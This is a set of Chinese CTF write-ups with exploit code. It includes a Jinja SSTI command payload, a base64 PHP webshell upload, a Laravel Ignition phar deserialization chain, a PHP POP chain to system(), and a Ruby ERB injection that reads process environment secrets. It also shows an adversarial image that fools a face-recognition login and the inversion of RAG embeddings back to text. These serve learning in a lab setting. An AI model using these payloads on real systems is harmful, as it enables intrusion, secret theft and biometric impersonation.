赛博侦探

在bilibili链接抓个包能看到/secret/find_my_password路由
然后就是社工,根据五个位置的经纬度和距离,写脚本算出近似位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import numpy as np
from scipy.optimize import minimize

# 已知点的经纬度坐标 (经度, 纬度)
points = np.array([
[114.195324, 30.611436],
[114.202718, 30.634363],
[114.162743, 30.643873],
[114.147891, 30.632255],
[114.141771, 30.624681]
])

# 已知点到目标点的距离 (单位: km)
distances = np.array([2.3, 2.8, 2.5, 2.5, 3.2])

# 地球半径 (单位: km)
R = 6371.0

def haversine(lon1, lat1, lon2, lat2):
"""计算两点间的大圆距离 (单位: km)"""
lon1, lat1, lon2, lat2 = map(np.radians, [lon1, lat1, lon2, lat2])
dlon = lon2 - lon1
dlat = lat2 - lat1
a = np.sin(dlat/2.0)**2 + np.cos(lat1) * np.cos(lat2) * np.sin(dlon/2.0)**2
c = 2 * np.arcsin(np.sqrt(a))
return R * c

def objective_function(target):
"""目标函数: 计算距离误差的平方和"""
lon, lat = target
total_error = 0.0
for i in range(len(points)):
dist_calculated = haversine(lon, lat, points[i, 0], points[i, 1])
error = dist_calculated - distances[i]
total_error += error ** 2
return total_error

# 初始猜测 (取已知点的几何中心)
initial_guess = np.mean(points, axis=0)

# 使用L-BFGS-B算法求解优化问题
result = minimize(objective_function, initial_guess, method='L-BFGS-B')

# 提取结果并保留6位小数
target_lon = round(result.x[0], 6)
target_lat = round(result.x[1], 6)

print(f"目标点经纬度坐标: ({target_lon}, {target_lat})")

跳转到新页面后直接目录穿越读flag就行

best_profile

先分析源码,发现在app.py中存在如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@app.route("/get_last_ip/<string:username>", methods=["GET", "POST"])
defroute_check_ip(username):
ifnot current_user.is_authenticated:
return"You need to login first."
user = User.query.filter_by(username=username).first()
ifnot user:
return"User not found."
return render_template("last_ip.html", last_ip=user.last_ip)

geoip2_reader = geoip2.database.Reader("GeoLite2-Country.mmdb")
@app.route("/ip_detail/<string:username>", methods=["GET"])
defroute_ip_detail(username):
res = requests.get(f"http://127.0.0.1/get_last_ip/{username}")
if res.status_code != 200:
return"Get last ip failed."
last_ip = res.text
try:
ip = re.findall(r"\d+\.\d+\.\d+\.\d+", last_ip)
country = geoip2_reader.country(ip)
except (ValueError, TypeError):
country = "Unknown"
template = f"""
<h1>IP Detail</h1>
<div>{last_ip}</div>
<p>Country:{country}</p>
"""
return render_template_string(template)

...

@app.after_request
defset_last_ip(response):
if current_user.is_authenticated:
current_user.last_ip = request.remote_addr
db.session.commit()
return response

这里逻辑是先访问http://127.0.0.1/get_last_ip/{username},将获得的res.text进行了模板渲染,可以在这里构造ssti。根据最后的set_last_ip()可知last_ip可以通过XFF获取,主要问题就是request.get请求时不会带上session访问,导致每次访问都是You need to login first.

注意到nginx.conf中代码

1
2
3
4
5
6
7
8
9
10
11
12
13
location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ {
proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
proxy_pass http://127.0.0.1:5000;
proxy_cache static;
proxy_cache_valid 200 302 30d;
}

location ~ .*\.(js|css)?$ {
proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
proxy_pass http://127.0.0.1:5000;
proxy_cache static;
proxy_cache_valid 200 302 12h;
}

在处理这些后缀的文件时,会缓存在本地,所以在请求时就不会调用flask应用而是直接调用本地缓存文件,那么这样就避免了未授权问题。

首先正常注册登录,username为2.swf(列表中任意后缀即可),进了主页之后访问get_last_ip/2.swf,先抓包加上XFF访问一个错误的路由,触发set_last_ip(),注意这里是由于缓存机制,所以是一次性的,如果操作错了就只有重新注册登录。
alt text

然后用正确的路由重新访问一次,让XFF进入last_ip
alt text

这样last_ip就设置好了,访问ip_detail/2.swf就能成功渲染,之后同理即可
alt text

在进行ssti时测出来过滤了’’,旁路注入绕过即可

1
2
X-Forwarded-For:{{lipsum.__globals__[request.args.a].popen(request.args.b).read()}}
a=os&b=tac /flag

gogogo出发喽

不懂,先照搬一下SU的wp

alt text

可以爆破出是admin888,本地也能getshell,但是不能进远程的后台,419错误。发现是开启了debug模式的,访问/_ignition/health-check得到的{“can_execute_commands”:true}这个回显,查看MakeViewVariableOptionalSolution.php

alt text

利用phpggc生成恶意payload

1
2
3
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o /tmp/phar.gif

cat /tmp/phar.gif | base64 -w 0

尝试直接利用CVE发现不能成功,审计代码找到一个上传文件的接口

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/image/base64 HTTP/1.1
Host: 1.95.8.146:41164
Content-Length: 169
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://1.95.8.146:41164
Referer: http://1.95.8.146:41164/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"data": "data:image/jpeg;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+"}

alt text

成功上传,尝试写入phar文件

1
2
3
4
5
6
7
8
9
POST /_ignition/execute-solution HTTP/1.1
Host: 1.95.8.146:41164
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{
"viewFile":"phar:///var/www/html/public/uploads/images/_uc40mzhOJ6cNEKoF.jpeg/test.txt",
"variableName":"test"
}}

alt text

测试发现fast_destruct就可以绕过了,修复签名的脚本

1
2
3
4
5
6
7
8
9
10
from hashlib import sha1
with open('phar.gif', 'rb') as file:
f = file.read()

s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)

with open('phar1.gif', 'wb') as file:
file.write(newf) # 写入新文件

有了shell之后,发现权限不够,suid提权即可

1
openssl enc -in "/flag_gogogo_chufalong"

Tellmewhy

一道java题,solon框架,存在fastjson2依赖
alt text

/baby/why 路由存在反序列化点
alt text
alt text

自定义objectStream中定义了反序列化黑名单

  • javax.management.BadAttributeValueExpException
  • javax.swing.event.EventListenerList
  • javax.swing.UIDefaults$TextAndMnemonicHashMap

目的应该是想过滤hashmap -> fastjson2.JSONArray中的链子,跑一下tabby能发现还有XString这个可用的链子
alt text

LookingMyEyes

.NET反序列化,闻所未闻

gateway_advance

https://sakuraraindrop.github.io/2025/07/13/20250713%E9%9A%8F%E7%BC%98%E5%88%B7%E9%A2%98/

Please Sign In

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import uvicorn
import torch
import json
import os
from fastapi import FastAPI, File, UploadFile
from PIL import Image
from torchvision import transforms
from torchvision.models import shufflenet_v2_x1_0, ShuffleNet_V2_X1_0_Weights

feature_extractor = shufflenet_v2_x1_0(weights=ShuffleNet_V2_X1_0_Weights.IMAGENET1K_V1)
feature_extractor.fc = torch.nn.Identity()
feature_extractor.eval()

weights = ShuffleNet_V2_X1_0_Weights.IMAGENET1K_V1
transform = transforms.Compose([
transforms.ToTensor(),
])

if not os.path.exists("embedding.json"):
user_image = Image.open("user_image.jpg").convert("RGB")
user_image = transform(user_image).unsqueeze(0)
with torch.no_grad():
user_embedding = feature_extractor(user_image)[0]

with open("embedding.json", "w") as f:
json.dump(user_embedding.tolist(), f)

user_embedding = json.load(open("embedding.json", "r"))
user_embedding = torch.tensor(user_embedding, dtype=torch.float32)
user_embedding = user_embedding.unsqueeze(0)

app = FastAPI()

@app.post("/signin/")
async def signin(file: UploadFile = File(...)):
submit_image = Image.open(file.file).convert("RGB")
submit_image = transform(submit_image).unsqueeze(0)
with torch.no_grad():
submit_embedding = feature_extractor(submit_image)[0]
diff = torch.mean((user_embedding - submit_embedding) ** 2)
result = {
"status": "L3HCTF{test_flag}" if diff.item() < 5e-6 else "failure"
}
return result

@app.get("/")
async def root():
return {"message": "Welcome to the Face Recognition API!"}

if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8000)

对抗样本,有几个踩坑点

  • 一般不需要做normalize,做了反而会出问题
  • fake_img.clamp_(0, 1)中函数后加下划线表示旧的tensor不修改
  • 保存成jpg图像会由于有损压缩出问题,保存成png就没问题

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import torch
import json
from torchvision.models import shufflenet_v2_x1_0, ShuffleNet_V2_X1_0_Weights
from torchvision import transforms
from PIL import Image
import requests

TARGET_EMBEDDING_FILE = "embedding.json"
OUTPUT_IMAGE_FILE = "payload.png"
IMAGE_SIZE = 224
LEARNING_RATE = 0.01
ITERATIONS = 2000
SUCCESS_THRESHOLD = 5e-6

def gen_payload():

# macOS使用mps后端
device = torch.device("mps" if torch.backends.mps.is_available() else "cpu")
print(f"Using device: {device}")

feature_extractor = shufflenet_v2_x1_0(weights=ShuffleNet_V2_X1_0_Weights.IMAGENET1K_V1)
feature_extractor.fc = torch.nn.Identity()
feature_extractor.eval()
feature_extractor.to(device)

with open(TARGET_EMBEDDING_FILE, 'r') as f:
target_embedding_list = json.load(f)

target_embedding = torch.tensor(target_embedding_list, dtype=torch.float32).unsqueeze(0)
target_embedding = target_embedding.to(device)
generated_image = torch.rand(1, 3, IMAGE_SIZE, IMAGE_SIZE, device=device, requires_grad=True)
optimizer = torch.optim.Adam([generated_image], lr=LEARNING_RATE)

loss_fn = torch.nn.MSELoss()

print("\nStarting optimization...")
for i in range(ITERATIONS):
optimizer.zero_grad()
cur_embedding = feature_extractor(generated_image)
loss = loss_fn(cur_embedding, target_embedding)
loss.backward()
optimizer.step()
with torch.no_grad():
generated_image.clamp_(0, 1)

if i % 100 == 0 or i == ITERATIONS - 1:
print(f"Iteration {i:04d}/{ITERATIONS} | Loss (MSE): {loss.item():.10f}")
if loss.item() < SUCCESS_THRESHOLD:
print(f"\nSuccess! Loss is below the threshold at iteration {i}.")
break

print("\nOptimization finished.")

fin_img_tensor = generated_image.squeeze(0).cpu().detach()
to_pil = transforms.ToPILImage()
fin_img_pil = to_pil(fin_img_tensor)
fin_img_pil.save(OUTPUT_IMAGE_FILE)
print(f"[+] Payload image saved to {OUTPUT_IMAGE_FILE}")
print("[+] Verifying the generated payload...")
verify_img = Image.open(OUTPUT_IMAGE_FILE).convert("RGB")
trans_verify = transforms.Compose([transforms.ToTensor()])
verify_tensor = trans_verify(verify_img).unsqueeze(0).to(device)
with torch.no_grad():
final_embedding = feature_extractor(verify_tensor)

final_diff = loss_fn(final_embedding, target_embedding)
print(f"[+] Final difference with saved image: {final_diff.item():.10f}")
if final_diff.item() < SUCCESS_THRESHOLD:
print("[+] 🥳")
else:
print("[-] 🥲")


if __name__ == "__main__":
gen_payload()
try:
server_url = "http://1.95.8.146:50001/signin/"
files = {'file': open('payload.png', 'rb')}
response = requests.post(server_url, files=files)
print("服务器响应:", response.json())
except Exception as e:
print("提交到服务器时出错:", e)
print("请手动将 fake_image.jpg 上传到服务器获取 flag")

LearnRag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import vec2text
import torch
from transformers import AutoModel, AutoTokenizer, PreTrainedTokenizer, PreTrainedModel
import pickle

class RagData:
def __init__(self, embedding_model=None, embeddings=None):
self.embedding_model = embedding_model
self.embeddings = embeddings or []

def get_gtr_embeddings(text_list,
encoder: PreTrainedModel,
tokenizer: PreTrainedTokenizer) -> torch.Tensor:

inputs = tokenizer(text_list,
return_tensors="pt",
max_length=128,
truncation=True,
padding="max_length",).to("cuda")

with torch.no_grad():
model_output = encoder(input_ids=inputs['input_ids'], attention_mask=inputs['attention_mask'])
hidden_state = model_output.last_hidden_state
embeddings = vec2text.models.model_utils.mean_pool(hidden_state, inputs['attention_mask'])

return embeddings


encoder = AutoModel.from_pretrained("sentence-transformers/gtr-t5-base").encoder.to("cuda")
tokenizer = AutoTokenizer.from_pretrained("sentence-transformers/gtr-t5-base")
corrector = vec2text.load_pretrained_corrector("gtr-base")

with open('rag_data.pkl', 'rb') as f:
rag_data = pickle.load(f)


embeddings=rag_data.embeddings
embeddings = torch.tensor(embeddings)
# 查看数据结构
print(embeddings.shape)

vec2text.invert_embeddings(
embeddings=embeddings.cuda(),
corrector=corrector,
num_steps=20,
)

ez_pop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
<?php
error_reporting(0);
highlight_file(__FILE__);

class class_A
{
public $s;
public $a;

public function __toString()
{
echo "2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}

class class_B
{
public $c;
public $d;

function is_method($input){
if (strpos($input, '::') === false) {
return false;
}

[$class, $method] = explode('::', $input, 2);

if (!class_exists($class, false)) {
return false;
}

if (!method_exists($class, $method)) {
return false;
}

try {
$refMethod = new ReflectionMethod($class, $method);
return $refMethod->isInternal();
} catch (ReflectionException $e) {
return false;
}
}

function is_class($input){
if (strpos($input, '::') !== false) {
return $this->is_method($input);
}

if (!class_exists($input, false)) {
return false;
}

try {
return (new ReflectionClass($input))->isInternal();
} catch (ReflectionException $e) {
return false;
}
}
public function __get($name)
{
echo "2 B <br>";

$a = $_POST['a'];
$b = $_POST;
$c = $this->c;
$d = $this->d;
if (isset($b['a'])) {
unset($b['a']);
}
if ($this->is_class($a)){
call_user_func($a, $b)($c)($d);
}else{
die("你真该请教一下oSthinggg哥哥了");
}
}
}

class class_C
{
public $c;

public function __destruct()
{
echo "2 C <br>";
echo $this->c;
}
}


if (isset($_GET['un'])) {
$a = unserialize($_GET['un']);
throw new Exception("noooooob!!!你真该请教一下万能的google哥哥了");
}

这个php的pop链很简单,主要是如何利用call_user_func($a, $b)($c)($d);进行rce

$a必须要是内置类或者内置类里面的静态方法,$b是删除了$a的POST数组,$c 和 $d 可以任意控制

经过查找可以知道Closure里面的fromCallable可以调用函数执行命令

1
Closure::fromCallable("system")("whoami");

alt text

这样虽然会报错,但也可以执行命令

1
call_user_func('Closure::fromCallable', "system")('whoami')();

alt text

但因为$b是一个$_POST数组,这样传参上去无法执行,一直报错

然后就想到可以嵌套一下,再次调用Closure::fromCallable, 也就是这样

1
call_user_func('Closure::fromCallable', "Closure::fromCallable")('system')('whoami');

因为$b是一个数组嘛,不能直接把这个Closure::fromCallable整个当成字符串传进去,得分开传

1
2
3
4
5
6
7
8
<?php
//$b=$_POST;
$b[0]='Closure';
$b[1]='fromCallable';
$c='system';
$d='whoami';
var_dump($b);
call_user_func('Closure::fromCallable', $b)($c)($d);

所以最终构造的payload就是这样的
(POST里面的参数除了那个a就只能是0和1,如果是其他的字符或数字都会报错)

1
2
3
4
?un=O:7:"class_C":1:{s:1:"c";O:7:"class_A":2:{s:1:"s";O:7:"class_B":2:{s:1:"c";s:6:"system";s:1:"d";s:6:"whoami";}s:1:"a";s:1:"x";}

POST:
a=Closure::fromCallable&0=Closure&1=fromCallable

ez_ruby

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
require "sinatra"
require "erb"
require "json"

class User
attr_reader :name, :age

def initialize(name="oSthinggg", age=21)
@name = name
@age = age
end

def is_admin?
if to_s == "true"
"a admin,good!give your fake flag! flag{RuBy3rB_1$_s3_1Z}"
else
"not admin,your "+@to_s
end
end

def age
if @age > 20
"old"
else
"young"
end
end


def merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
next_obj = current_obj.respond_to?(key) ? current_obj.public_send(key) : Object.new
current_obj.singleton_class.attr_accessor(key) unless current_obj.respond_to?(key)
current_obj.instance_variable_set("@#{key}", next_obj)
merge(original, value, next_obj)
else
current_obj.singleton_class.attr_accessor(key) unless current_obj.respond_to?(key)
current_obj.instance_variable_set("@#{key}", value)
end
end
original
end
end

user = User.new("oSthinggg", 21)


get "/" do
redirect "/set_age"
end

get "/set_age" do
ERB.new(File.read("views/age.erb", encoding: "UTF-8")).result(binding)
end

post "/set_age" do
request.body.rewind
age = JSON.parse(request.body.read)
user.merge(user,age)
end

get "/view" do
name=user.name().to_s
op_age=user.age().to_s
is_admin=user.is_admin?().to_s
ERB::new("<h1>Hello,oSthinggg!#{op_age} man!you #{is_admin} </h1>").result
end

ruby的题目做的比较少,开始一直以为这道题是要类似于js里面的原型链污染,把to_s函数的返回值污染为true,拿到admin的身份就可以得到flag, 一直没成功,似乎只能改变@to_s变量的值,后面才知道是erb模板注入

直接污染@to_s变量的值执行命令,然后查看/view路由就行

1
{"to_s":"<%=`cat /proc/self/environ`%>"}